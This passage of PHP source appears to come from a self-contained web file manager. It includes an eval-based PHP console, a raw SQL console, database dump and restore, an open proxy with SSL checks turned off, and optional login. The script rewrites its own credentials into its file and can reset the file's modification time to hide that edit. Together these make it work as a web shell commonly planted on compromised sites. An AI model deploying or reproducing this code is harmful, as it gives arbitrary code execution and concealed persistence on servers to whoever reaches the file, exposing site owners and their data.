		else return round($size/(1024*1024*1024*1024*1024),2).'&nbsp;Pb'; // ;-)
	} else {
		if(is_file($f)) return filesize($f);
		$size=0;
		$dh=opendir($f);
		while(($file=readdir($dh))!==false) {
			if($file=='.' || $file=='..') continue;
			if(is_file($f.'/'.$file)) $size+=filesize($f.'/'.$file);
			else $size+=fm_dir_size($f.'/'.$file,false);
		}
		closedir($dh);
		return $size+filesize($f); 
	}
}

//scan directory
function fm_scan_dir($directory, $exp = '', $type = 'all', $do_not_filter = false) {
	$dir = $ndir = array();
	if(!empty($exp)){
		$exp = '/^' . str_replace('*', '(.*)', str_replace('.', '\\.', $exp)) . '$/';
	}
	if(!empty($type) && $type !== 'all'){
		$func = 'is_' . $type;
	}
	if(@is_dir($directory)){
		$fh = opendir($directory);
		while (false !== ($filename = readdir($fh))) {
			if(substr($filename, 0, 1) != '.' || $do_not_filter) {
				if((empty($type) || $type == 'all' || $func($directory . '/' . $filename)) && (empty($exp) || preg_match($exp, $filename))){
					$dir[] = $filename;
				}
			}
		}
		closedir($fh);
		natsort($dir);
	}
	return $dir;
}

function fm_link($get,$link,$name,$title='') {
	if (empty($title)) $title=$name.' '.basename($link);
	return '&nbsp;&nbsp;<a href="?'.$get.'='.base64_encode($link).'" title="'.$title.'">'.$name.'</a>';
}

function fm_arr_to_option($arr,$n,$sel=''){
	foreach($arr as $v){
		$b=$v[$n];
		$res.='<option value="'.$b.'" '.($sel && $sel==$b?'selected':'').'>'.$b.'</option>';
	}
	return $res;
}

function fm_lang_form ($current='en'){
return '
<form name="change_lang" method="post" action="">
	<select name="fm_lang" title="'.__('Language').'" onchange="document.forms[\'change_lang\'].submit()" >
		<option value="en" '.($current=='en'?'selected="selected" ':'').'>'.__('English').'</option>
		<option value="de" '.($current=='de'?'selected="selected" ':'').'>'.__('German').'</option>
		<option value="ru" '.($current=='ru'?'selected="selected" ':'').'>'.__('Russian').'</option>
		<option value="fr" '.($current=='fr'?'selected="selected" ':'').'>'.__('French').'</option>
		<option value="uk" '.($current=='uk'?'selected="selected" ':'').'>'.__('Ukrainian').'</option>
	</select>
</form>
';
}
	
function fm_root($dirname){
	return ($dirname=='.' OR $dirname=='..');
}

function fm_php($string){
	$display_errors=ini_get('display_errors');
	ini_set('display_errors', '1');
	ob_start();
	eval(trim($string));
	$text = ob_get_contents();
	ob_end_clean();
	ini_set('display_errors', $display_errors);
	return $text;
}

//SHOW DATABASES
function fm_sql_connect(){
	global $fm_config;
	return new mysqli($fm_config['sql_server'], $fm_config['sql_username'], $fm_config['sql_password'], $fm_config['sql_db']);
}

function fm_sql($query){
	global $fm_config;
	$query=trim($query);
	ob_start();
	$connection = fm_sql_connect();
	if ($connection->connect_error) {
		ob_end_clean();	
		return $connection->connect_error;
	}
	$connection->set_charset('utf8');
    $queried = mysqli_query($connection,$query);
	if ($queried===false) {
		ob_end_clean();	
		return mysqli_error($connection);
    } else {
		if(!empty($queried)){
			while($row = mysqli_fetch_assoc($queried)) {
				$query_result[]=  $row;
			}
		}
		$vdump=empty($query_result)?'':var_export($query_result,true);	
		ob_end_clean();	
		$connection->close();
		return '<pre>'.stripslashes($vdump).'</pre>';
	}
}

function fm_backup_tables($tables = '*', $full_backup = true) {
	global $path;
	$mysqldb = fm_sql_connect();
	$delimiter = "; \n  \n";
	if($tables == '*')	{
		$tables = array();
		$result = $mysqldb->query('SHOW TABLES');
		while($row = mysqli_fetch_row($result))	{
			$tables[] = $row[0];
		}
	} else {
		$tables = is_array($tables) ? $tables : explode(',',$tables);
	}
    
	$return='';
	foreach($tables as $table)	{
		$result = $mysqldb->query('SELECT * FROM '.$table);
		$num_fields = mysqli_num_fields($result);
		$return.= 'DROP TABLE IF EXISTS `'.$table.'`'.$delimiter;
		$row2 = mysqli_fetch_row($mysqldb->query('SHOW CREATE TABLE '.$table));
		$return.=$row2[1].$delimiter;
        if ($full_backup) {
		for ($i = 0; $i < $num_fields; $i++)  {
			while($row = mysqli_fetch_row($result)) {
				$return.= 'INSERT INTO `'.$table.'` VALUES(';
				for($j=0; $j<$num_fields; $j++)	{
					$row[$j] = addslashes($row[$j]);
					$row[$j] = str_replace("\n","\\n",$row[$j]);
					if (isset($row[$j])) { $return.= '"'.$row[$j].'"' ; } else { $return.= '""'; }
					if ($j<($num_fields-1)) { $return.= ','; }
				}
				$return.= ')'.$delimiter;
			}
		  }
		} else { 
		$return = preg_replace("#AUTO_INCREMENT=[\d]+ #is", '', $return);
		}
		$return.="\n\n\n";
	}

	//save file
    $file=gmdate("Y-m-d_H-i-s",time()).'.sql';
	$handle = fopen($file,'w+');
	fwrite($handle,$return);
	fclose($handle);
	$alert = 'onClick="if(confirm(\''. __('File selected').': \n'. $file. '. \n'.__('Are you sure you want to delete this file?') . '\')) document.location.href = \'?delete=' . $file . '&path=' . $path  . '\'"';
    return $file.': '.fm_link('download',$path.$file,__('Download'),__('Download').' '.$file).' <a href="#" title="' . __('Delete') . ' '. $file . '" ' . $alert . '>' . __('Delete') . '</a>';
}

function fm_restore_tables($sqlFileToExecute) {
	$mysqldb = fm_sql_connect();
	$delimiter = "; \n  \n";
    // Load and explode the sql file
    $f = fopen($sqlFileToExecute,"r+");
    $sqlFile = fread($f,filesize($sqlFileToExecute));
    $sqlArray = explode($delimiter,$sqlFile);
	
    //Process the sql file by statements
    foreach ($sqlArray as $stmt) {
        if (strlen($stmt)>3){
			$result = $mysqldb->query($stmt);
				if (!$result){
					$sqlErrorCode = mysqli_errno($mysqldb->connection);
					$sqlErrorText = mysqli_error($mysqldb->connection);
					$sqlStmt      = $stmt;
					break;
           	     }
           	  }
           }
if (empty($sqlErrorCode)) return __('Success').' ¡ª '.$sqlFileToExecute;
else return $sqlErrorText.'<br/>'.$stmt;
}

function fm_img_link($filename){
	return './'.basename(__FILE__).'?img='.base64_encode($filename);
}

function fm_home_style(){
	return '
input, input.fm_input {
	text-indent: 2px;
}

input, textarea, select, input.fm_input {
	color: black;
	font: normal 8pt Verdana, Arial, Helvetica, sans-serif;
	border-color: black;
	background-color: #FCFCFC none !important;
	border-radius: 0;
	padding: 2px;
}

input.fm_input {
	background: #FCFCFC none !important;
	cursor: pointer;
}

.home {
	background-image: url("data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABAAAAAQCAMAAAAoLQ9TAAAABGdBTUEAAK/INwWK6QAAAgRQTFRF/f396Ojo////tT02zr+fw66Rtj432TEp3MXE2DAr3TYp1y4mtDw2/7BM/7BOqVpc/8l31jcqq6enwcHB2Tgi5jgqVpbFvra2nBAV/Pz82S0jnx0W3TUkqSgi4eHh4Tsre4wosz026uPjzGYd6Us3ynAydUBA5Kl3fm5eqZaW7ODgi2Vg+Pj4uY+EwLm5bY9U//7jfLtC+tOK3jcm/71u2jYo1UYh5aJl/seC3jEm12kmJrIA1jMm/9aU4Lh0e01BlIaE///dhMdC7IA//fTZ2c3MW6nN30wf95Vd4JdXoXVos8nE4efN/+63IJgSnYhl7F4csXt89GQUwL+/jl1c41Aq+fb2gmtI1rKa2C4kJaIA3jYrlTw5tj423jYn3cXE1zQoxMHBp1lZ3Dgmqiks/+mcjLK83jYkymMV3TYk//HM+u7Whmtr0odTpaOjfWJfrHpg/8Bs/7tW/7Ve+4U52DMm3MLBn4qLgNVM6MzB3lEflIuL/+jA///20LOzjXx8/7lbWpJG2C8k3TosJKMA1ywjopOR1zYp5Dspiay+yKNhqKSk8NW6/fjns7Oz2tnZuz887b+W3aRY/+ms4rCE3Tot7V85bKxjuEA3w45Vh5uhq6am4cFxgZZW/9qIuwgKy0sW+ujT4TQntz423C8i3zUj/+Kw/a5d6UMxuL6wzDEr////cqJQfAAAAKx0Uk5T////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////AAWVFbEAAAAZdEVYdFNvZnR3YXJlAEFkb2JlIEltYWdlUmVhZHlxyWU8AAAA2UlEQVQoU2NYjQYYsAiE8U9YzDYjVpGZRxMiECitMrVZvoMrTlQ2ESRQJ2FVwinYbmqTULoohnE1g1aKGS/fNMtk40yZ9KVLQhgYkuY7NxQvXyHVFNnKzR69qpxBPMez0ETAQyTUvSogaIFaPcNqV/M5dha2Rl2Timb6Z+QBDY1XN/Sbu8xFLG3eLDfl2UABjilO1o012Z3ek1lZVIWAAmUTK6L0s3pX+jj6puZ2AwWUvBRaphswMdUujCiwDwa5VEdPI7ynUlc7v1qYURLquf42hz45CBPDtwACrm+RDcxJYAAAAABJRU5ErkJggg==");
	background-repeat: no-repeat;
}';
}

function fm_config_checkbox_row($name,$value) {
	global $fm_config;
	return '<tr><td class="row1"><input id="fm_config_'.$value.'" name="fm_config['.$value.']" value="1" '.(empty($fm_config[$value])?'':'checked="true"').' type="checkbox"></td><td class="row2 whole"><label for="fm_config_'.$value.'">'.$name.'</td></tr>';
}

function fm_protocol() {
	if (isset($_SERVER['HTTP_SCHEME'])) return $_SERVER['HTTP_SCHEME'].'://';
	if (isset($_SERVER['HTTPS']) && $_SERVER['HTTPS'] == 'on') return 'https://';
	if (isset($_SERVER['SERVER_PORT']) && $_SERVER['SERVER_PORT'] == 443) return 'https://';
	if (isset($_SERVER['HTTP_X_FORWARDED_PROTO']) && $_SERVER['HTTP_X_FORWARDED_PROTO'] == 'https') return 'https://';
	return 'http://';
}

function fm_site_url() {
	return fm_protocol().$_SERVER['HTTP_HOST'];
}

function fm_url($full=false) {
	$host=$full?fm_site_url():'.';
	return $host.'/'.basename(__FILE__);
}

function fm_home($full=false){
	return '&nbsp;<a href="'.fm_url($full).'" title="'.__('Home').'"><span class="home">&nbsp;&nbsp;&nbsp;&nbsp;</span></a>';
}

function fm_run_input($lng) {
	global $fm_config;
	$return = !empty($fm_config['enable_'.$lng.'_console']) ? 
	'
				<form  method="post" action="'.fm_url().'" style="display:inline">
				<input type="submit" name="'.$lng.'run" value="'.strtoupper($lng).' '.__('Console').'">
				</form>
' : '';
	return $return;
}

function fm_url_proxy($matches) {
	$link = str_replace('&amp;','&',$matches[2]);
	$url = isset($_GET['url'])?$_GET['url']:'';
	$parse_url = parse_url($url);
	$host = $parse_url['scheme'].'://'.$parse_url['host'].'/';
	if (substr($link,0,2)=='//') {
		$link = substr_replace($link,fm_protocol(),0,2);
	} elseif (substr($link,0,1)=='/') {
		$link = substr_replace($link,$host,0,1);	
	} elseif (substr($link,0,2)=='./') {
		$link = substr_replace($link,$host,0,2);	
	} elseif (substr($link,0,4)=='http') {
		//alles machen wunderschon
	} else {
		$link = $host.$link;
	} 
	if ($matches[1]=='href' && !strripos($link, 'css')) {
		$base = fm_site_url().'/'.basename(__FILE__);
		$baseq = $base.'?proxy=true&url=';
		$link = $baseq.urlencode($link);
	} elseif (strripos($link, 'css')){
		//§Ü§Ñ§Ü-§ä§à §ä§à§Ø§Ö §á§à§Õ§Þ§Ö§ß§ñ§ä§î §ß§Ñ§Õ§à
	}
	return $matches[1].'="'.$link.'"';
}
 
function fm_tpl_form($lng_tpl) {
	global ${$lng_tpl.'_templates'};
	$tpl_arr = json_decode(${$lng_tpl.'_templates'},true);
	$str = '';
	foreach ($tpl_arr as $ktpl=>$vtpl) {
		$str .= '<tr><td class="row1"><input name="'.$lng_tpl.'_name[]" value="'.$ktpl.'"></td><td class="row2 whole"><textarea name="'.$lng_tpl.'_value[]"  cols="55" rows="5" class="textarea_input">'.$vtpl.'</textarea> <input name="del_'.rand().'" type="button" onClick="this.parentNode.parentNode.remove();" value="'.__('Delete').'"/></td></tr>';
	}
return '
<table>
<tr><th colspan="2">'.strtoupper($lng_tpl).' '.__('templates').' '.fm_run_input($lng_tpl).'</th></tr>
<form method="post" action="">
<input type="hidden" value="'.$lng_tpl.'" name="tpl_edited">
<tr><td class="row1">'.__('Name').'</td><td class="row2 whole">'.__('Value').'</td></tr>
'.$str.'
<tr><td colspan="2" class="row3"><input name="res" type="button" onClick="document.location.href = \''.fm_url().'?fm_settings=true\';" value="'.__('Reset').'"/> <input type="submit" value="'.__('Save').'" ></td></tr>
</form>
<form method="post" action="">
<input type="hidden" value="'.$lng_tpl.'" name="tpl_edited">
<tr><td class="row1"><input name="'.$lng_tpl.'_new_name" value="" placeholder="'.__('New').' '.__('Name').'"></td><td class="row2 whole"><textarea name="'.$lng_tpl.'_new_value"  cols="55" rows="5" class="textarea_input" placeholder="'.__('New').' '.__('Value').'"></textarea></td></tr>
<tr><td colspan="2" class="row3"><input type="submit" value="'.__('Add').'" ></td></tr>
</form>
</table>
';
}

function find_text_in_files($dir, $mask, $text) {
    $results = array();
    if ($handle = opendir($dir)) {
        while (false !== ($entry = readdir($handle))) {
            if ($entry != "." && $entry != "..") {
                $path = $dir . "/" . $entry;
                if (is_dir($path)) {
                    $results = array_merge($results, find_text_in_files($path, $mask, $text));
                } else {
                    if (fnmatch($mask, $entry)) {
                        $contents = file_get_contents($path);
                        if (strpos($contents, $text) !== false) {
                            $results[] = str_replace('//', '/', $path);
                        }
                    }
                }
            }
        }
        closedir($handle);
    }
    return $results;
}


/* End Functions */

// authorization
if ($auth['authorize']) {
	if (isset($_POST['login']) && isset($_POST['password'])){
		if (($_POST['login']==$auth['login']) && ($_POST['password']==$auth['password'])) {
			setcookie($auth['cookie_name'], $auth['login'].'|'.md5($auth['password']), time() + (86400 * $auth['days_authorization']));
			$_COOKIE[$auth['cookie_name']]=$auth['login'].'|'.md5($auth['password']);
		}
	}
	if (!isset($_COOKIE[$auth['cookie_name']]) OR ($_COOKIE[$auth['cookie_name']]!=$auth['login'].'|'.md5($auth['password']))) {
		echo '
';  
die();
	}
	if (isset($_POST['quit'])) {
		unset($_COOKIE[$auth['cookie_name']]);
		setcookie($auth['cookie_name'], '', time() - (86400 * $auth['days_authorization']));
		header('Location: '.fm_site_url().$_SERVER['REQUEST_URI']);
	}
}

// Change config
if (isset($_GET['fm_settings'])) {
	if (isset($_GET['fm_config_delete'])) { 
		unset($_COOKIE['fm_config']);
		setcookie('fm_config', '', time() - (86400 * $auth['days_authorization']));
		header('Location: '.fm_url().'?fm_settings=true');
		exit(0);
	}	elseif (isset($_POST['fm_config'])) { 
		$fm_config = $_POST['fm_config'];
		setcookie('fm_config', serialize($fm_config), time() + (86400 * $auth['days_authorization']));
		$_COOKIE['fm_config'] = serialize($fm_config);
		$msg_ntimes = __('Settings').' '.__('done');
	}	elseif (isset($_POST['fm_login'])) { 
		if (empty($_POST['fm_login']['authorize'])) $_POST['fm_login'] = array('authorize' => '0') + $_POST['fm_login'];
		$fm_login = json_encode($_POST['fm_login']);
		$fgc = file_get_contents(__FILE__);
		$search = preg_match('#authorization[\s]?\=[\s]?\'\{\"(.*?)\"\}\';#', $fgc, $matches);
		if (!empty($matches[1])) {
			$filemtime = filemtime(__FILE__);
			$replace = str_replace('{"'.$matches[1].'"}',$fm_login,$fgc);
			if (file_put_contents(__FILE__, $replace)) {
				$msg_ntimes .= __('File updated');
				if ($_POST['fm_login']['login'] != $auth['login']) $msg_ntimes .= ' '.__('Login').': '.$_POST['fm_login']['login'];
				if ($_POST['fm_login']['password'] != $auth['password']) $msg_ntimes .= ' '.__('Password').': '.$_POST['fm_login']['password'];
				$auth = $_POST['fm_login'];
			}
			else $msg_ntimes .= __('Error occurred');
			if (!empty($fm_config['fm_restore_time'])) touch(__FILE__,$filemtime);
		}
	} elseif (isset($_POST['tpl_edited'])) { 
		$lng_tpl = $_POST['tpl_edited'];
		if (!empty($_POST[$lng_tpl.'_name'])) {
			$fm_php = json_encode(array_combine($_POST[$lng_tpl.'_name'],$_POST[$lng_tpl.'_value']),JSON_HEX_APOS);
		} elseif (!empty($_POST[$lng_tpl.'_new_name'])) {
			$fm_php = json_encode(json_decode(${$lng_tpl.'_templates'},true)+array($_POST[$lng_tpl.'_new_name']=>$_POST[$lng_tpl.'_new_value']),JSON_HEX_APOS);
		}
		if (!empty($fm_php)) {
			$fgc = file_get_contents(__FILE__);
			$search = preg_match('#'.$lng_tpl.'_templates[\s]?\=[\s]?\'\{\"(.*?)\"\}\';#', $fgc, $matches);
			if (!empty($matches[1])) {
				$filemtime = filemtime(__FILE__);
				$replace = str_replace('{"'.$matches[1].'"}',$fm_php,$fgc);
				if (file_put_contents(__FILE__, $replace)) {
					${$lng_tpl.'_templates'} = $fm_php;
					$msg_ntimes .= __('File updated');
				} else $msg_ntimes .= __('Error occurred');
				if (!empty($fm_config['fm_restore_time'])) touch(__FILE__,$filemtime);
			}	
		} else $msg_ntimes .= __('Error occurred');
	}
}

// Just show image
if (isset($_GET['img'])) {
	$file=base64_decode($_GET['img']);
	if ($info=getimagesize($file)){
		switch  ($info[2]){	//1=GIF, 2=JPG, 3=PNG, 4=SWF, 5=PSD, 6=BMP
			case 1: $ext='gif'; break;
			case 2: $ext='jpeg'; break;
			case 3: $ext='png'; break;
			case 6: $ext='bmp'; break;
			default: die();
		}
		header("Content-type: image/$ext");
		echo file_get_contents($file);
		die();
	}
}

// Just download file
if (isset($_GET['download'])) {
	$file=base64_decode($_GET['download']);
	fm_download($file);	
}

// Just show info
if (isset($_GET['phpinfo'])) {
	phpinfo(); 
	die();
}

// Mini proxy, many bugs!
if (isset($_GET['proxy']) && (!empty($fm_config['enable_proxy']))) {
	$url = isset($_GET['url'])?urldecode($_GET['url']):'';
	$proxy_form = '
<div style="position:relative;z-index:100500;background: linear-gradient(to bottom, #e4f5fc 0%,#bfe8f9 50%,#9fd8ef 51%,#2ab0ed 100%);">
	<form action="" method="GET">
	<input type="hidden" name="proxy" value="true">
	'.fm_home().' <a href="'.$url.'" target="_blank">Url</a>: <input type="text" name="url" value="'.$url.'" size="55">
	<input type="submit" value="'.__('Show').'" class="fm_input">
	</form>
</div>
';
	if ($url) {
		$ch = curl_init($url);
		curl_setopt($ch, CURLOPT_USERAGENT, 'Den1xxx test proxy');
		curl_setopt($ch, CURLOPT_FOLLOWLOCATION, 1);
		curl_setopt($ch, CURLOPT_SSL_VERIFYHOST,0);
		curl_setopt($ch, CURLOPT_SSL_VERIFYPEER,0);
		curl_setopt($ch, CURLOPT_HEADER, 0);
		curl_setopt($ch, CURLOPT_REFERER, $url);
		curl_setopt($ch, CURLOPT_RETURNTRANSFER,true);
		$result = curl_exec($ch);
		curl_close($ch);
		//$result = preg_replace('#(src)=["\'][http://]?([^:]*)["\']#Ui', '\\1="'.$url.'/\\2"', $result);
		$result = preg_replace_callback('#(href|src)=["\'][http://]?([^:]*)["\']#Ui', 'fm_url_proxy', $result);
		$result = preg_replace('%(<body.*?>)%i', '$1'.'<style>'.fm_home_style().'</style>'.$proxy_form, $result);
		echo $result;
		die();
	} 
}
?>
<!doctype html>
<html>
<head>     
	<meta charset="utf-8" />
	<meta name="viewport" content="width=device-width, initial-scale=1" />
    <title></title>
<style>
body {
	background-color:	white;
	font-family:		Verdana, Arial, Helvetica, sans-serif;
	font-size:			8pt;
	margin:				0px;
}

a:link, a:active, a:visited { color: #006699; text-decoration: none; }
a:hover { color: #DD6900; text-decoration: underline; }
a.th:link { color: #FFA34F; text-decoration: none; }
a.th:active { color: #FFA34F; text-decoration: none; }
a.th:visited { color: #FFA34F; text-decoration: none; }
a.th:hover {  color: #FFA34F; text-decoration: underline; }

table.bg {
	background-color: #ACBBC6
}

th, td { 
	font:	normal 8pt Verdana, Arial, Helvetica, sans-serif;
	padding: 3px;
}

th	{
	height:				25px;
	background-color:	#006699;
	color:				#FFA34F;
	font-weight:		bold;
	font-size:			11px;
}

.row1 {
	background-color:	#EFEFEF;
}

.row2 {
	background-color:	#DEE3E7;
}

.row3 {
	background-color:	#D1D7DC;
	padding: 5px;
}

tr.row1:hover {
	background-color:	#F3FCFC;
}

tr.row2:hover {
	background-color:	#F0F6F6;
}

.whole {
	width: 100%;
}

.all tbody td:first-child{width:100%;}

textarea {
	font: 9pt 'Courier New', courier;
	line-height: 125%;
	padding: 5px;
}

.textarea_input {
	height: 1em;
}

.textarea_input:focus {
	height: auto;
}

input[type=submit]{
	background: #FCFCFC none !important;
	cursor: pointer;
}

.folder {
    background-image: url("data:image/png;base64,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");
}

.file {
    background-image: url("data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABAAAAAQCAYAAAAf8/9hAAAKT2lDQ1BQaG90b3Nob3AgSUNDIHByb2ZpbGUAAHjanVNnVFPpFj333vRCS4iAlEtvUhUIIFJCi4AUkSYqIQkQSoghodkVUcERRUUEG8igiAOOjoCMFVEsDIoK2AfkIaKOg6OIisr74Xuja9a89+bN/rXXPues852zzwfACAyWSDNRNYAMqUIeEeCDx8TG4eQuQIEKJHAAEAizZCFz/SMBAPh+PDwrIsAHvgABeNMLCADATZvAMByH/w/qQplcAYCEAcB0kThLCIAUAEB6jkKmAEBGAYCdmCZTAKAEAGDLY2LjAFAtAGAnf+bTAICd+Jl7AQBblCEVAaCRACATZYhEAGg7AKzPVopFAFgwABRmS8Q5ANgtADBJV2ZIALC3AMDOEAuyAAgMADBRiIUpAAR7AGDIIyN4AISZABRG8lc88SuuEOcqAAB4mbI8uSQ5RYFbCC1xB1dXLh4ozkkXKxQ2YQJhmkAuwnmZGTKBNA/g88wAAKCRFRHgg/P9eM4Ors7ONo62Dl8t6r8G/yJiYuP+5c+rcEAAAOF0ftH+LC+zGoA7BoBt/qIl7gRoXgugdfeLZrIPQLUAoOnaV/Nw+H48PEWhkLnZ2eXk5NhKxEJbYcpXff5nwl/AV/1s+X48/Pf14L7iJIEyXYFHBPjgwsz0TKUcz5IJhGLc5o9H/LcL//wd0yLESWK5WCoU41EScY5EmozzMqUiiUKSKcUl0v9k4t8s+wM+3zUAsGo+AXuRLahdYwP2SycQWHTA4vcAAPK7b8HUKAgDgGiD4c93/+